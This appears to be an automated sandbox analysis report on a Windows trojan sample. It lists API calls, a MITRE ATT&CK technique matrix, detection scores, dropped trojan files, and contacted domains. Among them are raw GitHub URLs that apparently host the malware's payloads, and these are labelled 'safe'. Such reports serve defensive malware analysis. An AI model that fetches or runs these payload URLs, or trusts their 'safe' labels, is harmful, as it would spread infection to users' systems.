Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\Ld0f3NDosJ.exe

Code function: 3_2_00007FF646E5B6F4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_00007FF646E5B6F4

Source: C:\Windows\System32\svchost.exe

Code function: 53_2_00007FFDA3772860 GetUserNameA,GetLastError,_strdup,

53_2_00007FFDA3772860

Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55B6B40 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	53_2_00007FFDA55B6B40
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55BD5B2 calloc,calloc,calloc,bind,WSAGetLastError,	53_2_00007FFDA55BD5B2
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA558C620 strchr,strchr,inet_pton,strchr,strtoul,strchr,strtoul,memmove,getsockname,WSAGetLastError,inet_ntop,WSAGetLastError,memmove,htons,bind,WSAGetLastError,getsockname,getsockname,listen,WSAGetLastError,htons,	53_2_00007FFDA558C620
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_00007FFDA55BD7E0 calloc,calloc,calloc,bind,WSAGetLastError,	53_2_00007FFDA55BD7E0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55BD5B2 bind,WSAGetLastError,	59_2_00007FFDA55BD5B2
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA558C620 strchr,strchr,inet_pton,strchr,strtoul,strchr,strtoul,memmove,getsockname,WSAGetLastError,inet_ntop,WSAGetLastError,memmove,htons,bind,WSAGetLastError,getsockname,getsockname,listen,WSAGetLastError,htons,	59_2_00007FFDA558C620
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55BD7E0 bind,WSAGetLastError,	59_2_00007FFDA55BD7E0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55778B0 memset,strncmp,strncmp,strchr,inet_pton,htons,strtoul,inet_pton,htons,htons,bind,htons,bind,getsockname,WSAGetLastError,WSAGetLastError,	59_2_00007FFDA55778B0
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B6B40 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	59_2_00007FFDA55B6B40
Source: C:\Windows\System32\console_zero.exe	Code function: 59_2_00007FFDA55B6B0D htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,	59_2_00007FFDA55B6B0D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	11 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	111 Windows Service	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	1 Scheduled Task/Job	111 Windows Service	1 DLL Side-Loading	NTDS	32 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	11 File Deletion	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	121 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	121 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	121 Virtualization/Sandbox Evasion	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ld0f3NDosJ.exe	53%	ReversingLabs	Win32.Trojan.Generic
Ld0f3NDosJ.exe	54%	Virustotal		Browse
Ld0f3NDosJ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Desktop\pyld64.exe	100%	Joe Sandbox ML
C:\Windows\System32\x543664.dat	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	18%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe	65%	Virustotal		Browse
C:\Users\user\Desktop\pyld64.exe	18%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\Desktop\pyld64.exe	65%	Virustotal		Browse
C:\Windows \System32\printui.dll	62%	ReversingLabs	Win64.Trojan.Generic
C:\Windows \System32\printui.exe	0%	ReversingLabs
C:\Windows\System32\console_zero.exe	18%	ReversingLabs	Win64.Trojan.CrypterX
C:\Windows\System32\libcrypto-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libcurl.dll	0%	ReversingLabs
C:\Windows\System32\libiconv-2.dll	0%	ReversingLabs
C:\Windows\System32\libintl-9.dll	0%	ReversingLabs
C:\Windows\System32\libpq.dll	0%	ReversingLabs
C:\Windows\System32\libssl-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libwinpthread-1.dll	0%	ReversingLabs
C:\Windows\System32\ucrtbased.dll	0%	ReversingLabs
C:\Windows\System32\usvcinsta64.exe	58%	ReversingLabs	Win64.Trojan.Nekark
C:\Windows\System32\vcruntime140d.dll	0%	ReversingLabs
C:\Windows\System32\x543664.dat	42%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\System32\zlib1.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
ipinfo.io	0%	Virustotal	Browse
github.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
tse1.mm.bing.net	0%	Virustotal	Browse
ax-0001.ax-msedge.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exes	0%	Avira URL Cloud	safe
https://curl.se/docs/http-cookies.html	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeLMEM	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exent.com1	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/usvcusb.dat	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/1F7	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpuwsys.dat	0%	Avira URL Cloud	safe
http://www.zlib.net/D	0%	URL Reputation	safe
https://www.openssl.org/H	0%	URL Reputation	safe
https://curl.se/docs/http-cookies.html	0%	Virustotal		Browse
https://www.gnu.org/licenses/	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/usvcusb.dat	1%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpuwsys.dat	1%	Virustotal		Browse
https://curl.se/docs/alt-svc.html	0%	Virustotal		Browse
https://www.gnu.org/licenses/	0%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeNH	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html	0%	Avira URL Cloud	safe
https://www.openssl.org/	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeQg	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html#	0%	Avira URL Cloud	safe
https://curl.se/docs/copyright.htmlD	0%	Avira URL Cloud	safe
https://curl.se/	0%	Avira URL Cloud	safe
https://www.openssl.org/	0%	Virustotal		Browse
https://raw.githubusercontent.com/	1%	Virustotal		Browse
https://raw.githubusercontent.com/bG	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Virustotal		Browse
http://www.zlib.net/	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeU	0%	Avira URL Cloud	safe
http://mingw-w64.sourceforge.net/X	0%	Avira URL Cloud	safe
https://curl.se/docs/copyright.htmlD	0%	Virustotal		Browse
https://curl.se/	0%	Virustotal		Browse
https://raw.githubusercontent.com/bG	0%	Virustotal		Browse
https://curl.se/docs/copyright.html	0%	Avira URL Cloud	safe
http://worldtimeapi.org/api/timezone/Etc/UTC	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html#	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe.net1&0	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html#	0%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe06	0%	Avira URL Cloud	safe
https://ipinfo.io/json	0%	Avira URL Cloud	safe
http://mingw-w64.sourceforge.net/X	0%	Virustotal		Browse
https://curl.se/docs/copyright.html	0%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/amdg.dat	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe	0%	Avira URL Cloud	safe
http://www.zlib.net/	0%	Virustotal		Browse
http://worldtimeapi.org/api/timezone/Etc/UTC	0%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeC:	0%	Avira URL Cloud	safe
http://worldtimeapi.org/api/timezone/Etc/UTCapplication/octet-streamtext/plain;	0%	Avira URL Cloud	safe
https://curl.se/docs/http-cookies.html#	0%	Avira URL Cloud	safe
https://github.com/panchitopistolesx/items/raw/main/my_backup_a	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe	1%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/nvg.dat	0%	Avira URL Cloud	safe
http://worldtimeapi.org/api/timezone/Etc/UTCapplication/octet-streamtext/plain;	0%	Virustotal		Browse
http://www.gnu.org/licenses/	0%	Avira URL Cloud	safe
https://ipinfo.io/json	0%	Virustotal		Browse
https://curl.se/V	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/nvg.dat	1%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpu.dat	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/panchitopistolesx/items/main/amdg.dat	1%	Virustotal		Browse
http://www.gnu.org/licenses/	0%	Virustotal		Browse
https://curl.se/V	0%	Virustotal		Browse
https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpu.dat	1%	Virustotal		Browse
https://curl.se/docs/alt-svc.html#	0%	Virustotal		Browse
https://curl.se/docs/http-cookies.html#	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
runvrs.com	38.180.213.183	true	false		unknown
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
github.com	140.82.121.3	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.108.133	true	false	0%, Virustotal, Browse	unknown
ax-0001.ax-msedge.net	150.171.27.10	true	false	0%, Virustotal, Browse	unknown
tse1.mm.bing.net	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exe	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exes	Ld0f3NDosJ.exe, 00000003.00000002.2356433154.000001E8BF3C6000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334869302.000001E8BF3C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exent.com1	Ld0f3NDosJ.exe, 00000003.00000002.2356655360.000001E8C10D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeLMEM	Ld0f3NDosJ.exe, 00000003.00000002.2356433154.000001E8BF3D7000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334869302.000001E8BF3D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/usvcusb.dat	svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3360844690.000001BB8BA48000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/_cpuwsys.dat	svchost.exe, 00000035.00000003.2846038368.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2914585077.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3178715641.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.2719522374.000001BB8BD06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3113596577.000001BB8BAF3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3361335703.000001BB8BAF4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000003.3048858018.000001BB8BAF2000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/1F7	Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gnu.org/licenses/	pyld64.exe, 0000000E.00000000.2336381311.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, pyld64.exe, 0000000E.00000002.2442276535.00007FF7FC91E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3359858423.00000000660F4000.00000008.00000001.01000000.00000013.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeNH	Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.openssl.org/	svchost.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/	Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF3B4000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF3B4000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/panchitopistolesx/items/main/hardsvcupdt.exeQg	Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, usvcinsta64.exe, 00000018.00000002.2514383144.00007FF6B8FD4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, svchost.exe, 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, console_zero.exe, 0000003B.00000002.2613047508.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html#	console_zero.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/docs/copyright.htmlD	pyld64.exe, 0000000E.00000002.2442276535.00007FF7FD31E000.00000002.00000001.01000000.00000006.sdmp, usvcinsta64.exe, 00000018.00000000.2419094542.00007FF6B99D4000.00000002.00000001.01000000.00000008.sdmp, svchost.exe, 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp, console_zero.exe, 0000003B.00000002.2613577176.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://curl.se/	svchost.exe, console_zero.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/bG	Ld0f3NDosJ.exe, 00000003.00000002.2356310555.000001E8BF369000.00000004.00000020.00020000.00000000.sdmp, Ld0f3NDosJ.exe, 00000003.00000003.2334901082.000001E8BF368000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
